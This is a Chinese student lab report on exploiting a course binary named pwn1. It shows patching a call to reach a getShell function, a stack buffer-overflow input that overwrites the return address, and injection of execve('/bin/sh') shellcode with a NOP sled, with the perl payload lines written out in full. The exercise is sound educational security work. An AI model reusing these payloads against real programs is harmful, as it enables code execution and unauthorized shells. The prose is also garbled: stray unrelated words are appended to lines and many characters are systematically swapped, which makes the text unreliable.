Exp1 PC平臺逆向破解 20164309 歐陽彧驍

 

 

 

1、實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。編程

 

三個實踐內容以下:緩存

手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。sass

利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。安全

注入一個本身製做的shellcode並運行這段shellcode。網絡

 

這幾種思路,基本表明現實狀況中的攻擊目標:函數

運行本來不可訪問的代碼片斷學習

強行修改程序執行流spa

以及注入運行任意代碼。

 

2、基礎知識:

1.經過結合計算機組成原理以及查閱相關資料,咱們知道了NOP, JNE, JE, JMP, CMP等經常使用匯編指令的機器碼:

NOP:一個空指令,什麼都不作,讓cpu等待一段時間,而且該指令會自動對齊尋址。機器碼爲0x90;

JNE:一個條件轉移指令,當零標誌z=0時跳轉至標號,z=1時順序執行下一條指令。機器碼爲0x75;

JE:一個條件轉移指令,當零標誌z=1時跳轉至標號,z=0時順序執行下一條指令。機器碼爲0x74;

JMP:無條件轉移指令。段內直接近轉移Jmp near,機器碼爲0xe9; 段內間接轉移Jmp word,機器碼爲0xff;段內直接短轉Jmp short,機器碼爲0xeb; 段間直接(遠)轉移Jmp far,機器碼爲0xea;

CMP:比較指令,執行減法操做但不保存運算結果。

 

2.掌握反彙編與十六進制編程器

經過查閱資料咱們能夠知道:

objdump反彙編命令:

objdump -f test     //顯示test的文件頭信息

objdump -d test    //反彙編test中的須要執行指令的那些section

objdump -D test    //與-d相似,但反彙編test中的全部section

objdump -h test    //顯示test的Section Header信息

objdump -x test    //顯示test的所有Header信息

objdump -s test    //除了顯示test的所有Header信息,還顯示他們對應的十六進制文件代碼   

 

 

xxd命令:

用vi命令打開一個文件,在vi命令模式下輸入

:%!xxd            //回車後,該文件會以十六進制形式顯示

:%!xxd -r         //參數-r是指將當前的十六進制轉換爲二進制

 

3、實踐內容

1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。

設置共享文件夾將pwn1文件導入主目錄後並修改文件名爲20164309,輸入:

objdump -d 20164309 | more

獲得反彙編代碼:

繼續下拉,找到getshell、foo與main函數:

 

由主函數咱們能夠看出main函數調用foo,相應的機器指令爲「e8 d7ffffff」,其中「e8」爲跳轉的意思。原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令呢,CPU就會轉而執行「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,即爲目標地址偏移量,41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491這個值,即爲跳轉的目標地址。那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。用Windows計算器,直接47d-4ba就能獲得補碼,是c3ffffff。注意計算時是小端模式低字節優先。

 修改可執行文件,將call指令的目標地址由d7ffffff變爲c3ffffff。

 

進入到文件的vi模式,輸入:

Vim 20164309

 

按esc鍵退出,輸入:

 

:%!xxd

以查看其十六進制

 

輸入:

/e8 d7

找到目標代碼 在000004b0

 

 

記錄目標位置在000004b0這行,找到目標,將光標移至d,按r鍵後修改成c,同理修改7爲3:

 

輸入:

:%!xxd -r

轉換16進製爲原格式

 

輸入:

:wq

存盤退出

 

對文件再次進行反彙編,找到主函數中以前調用foo的位置,發現call指令已經改成調用getshell了

 

運行後發現能夠調用shell

 

2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數

進行反彙編

 

咱們能夠利用foo函數中的Buffer overflow漏洞,形成緩衝區溢出,來覆蓋返回地址爲主函數中的80484ba,從而調用getshell函數。

 

 2.1確認輸入字符串哪幾個字符會覆蓋到返回地址

輸入:

gdb 20164309-2

再輸入r指令執行程序,咱們能夠嘗試着輸入一段字符串1111111122222222333333334444444412345678共40個字符

 

再輸入info r查看寄存器信息發現正是以前0x34333231,即爲4321的ASCII碼,根據老師上課所講的知識能夠知道Linux地址是由高到低的,說明覆蓋成功,以後的操做將其修改成getshell地址就能返回運行到getshell了。

因爲是第32爲以後的覆蓋成功,能因而可知緩存區32個字節。

 

2.2構造輸入字符串

因爲小端模式咱們將地址倒過來輸入便可:(原爲0804847d改成7d840408)

11111111222222223333333344444444\x7d\x84\x04\x08

再以後加一個\x0a表示回車就構造完成了。

輸入:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

將input的輸入,經過管道符「|」,做爲20164309-2的輸入,便可攻擊成功

(cat input; cat) | ./20164309-2

 

 3.注入一個本身製做的shellcode並運行這段shellcode

 

 3.1準備一段shellcode

使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

這段機器指令,獲取一個交互式的shell

 

3.2下載execstack,使用期關閉地址隨機化,減小實驗難度(0爲關閉,2爲開啓)

 

 3.3構造注入須要的payload

採用retaddr+nop+shellcode結構進行構造(nop一爲是了填充,二是做爲「着陸區/滑行區」。咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。):

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

\x4\x3\x2\x1是未來要存放覆蓋RET地址的位置。

 3.4進行攻擊

輸入以前構造的代碼

 

同時開啓另外一個終端來調試進程

輸入:

ps -ef | grep 20164309-3

 

啓動gdb調試這個進程

attach 35781

 

 

經過設置斷點,來查看注入buf的內存地址

經過disassemble foo進行反彙編以設置斷點

輸入

break *0x080484ae

 

再輸入

info r esp

對esp語句進行查找

 

咱們能夠看到0xffffd30內容被覆蓋爲了1234,咱們須要將以後的90909090覆蓋,則日後移四位地址,則目標地址爲:0xffffd310

由此咱們能夠從新構造攻擊代碼:

perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻擊成功!

 

 

 4、實驗收穫與感想

1.實驗收穫

這是我第一次進行網絡對抗技術的實驗,深感本身的基本功不夠紮實,課後花了加倍的時間才把老師上課早已講清楚的步驟和知識點弄懂。

在進行「注入一個本身製做的shellcode並運行這段shellcode」這項實驗時,我由於弄不清楚原理照着實驗指導照貓畫虎致使了屢次失敗,幸好在實踐中搞明白了一開始的那一段攻擊代碼是中的起始的1234是存放覆蓋ret地址的位置,在讓我明白了第一次構造是嘗試,第二次纔是動真格的。

總之,這次實驗不只讓我感覺到Linux基本功還不夠紮實,更表現了我動手能力的不足,但願在從此的九次實驗中,我可以收穫知識與實踐能力。

 

2.什麼是漏洞?漏洞有什麼危害?

漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,也就是咱們所說的「bug」。就像本次實驗中利用foo函數的Bof漏洞,即是程序代碼存在必定的漏洞。

這些漏洞大多都是無心中被創造的,因爲設計時不夠嚴謹致使一些問題,甚至有些漏洞被不懷好意之人因此利用,它在咱們的平常生活中時常有體現:木馬蠕蟲在網絡上大行其道,破壞人們的信息、財產安全,甚至給企業政府形成難以挽回的損失。

相關文章
相關標籤/搜索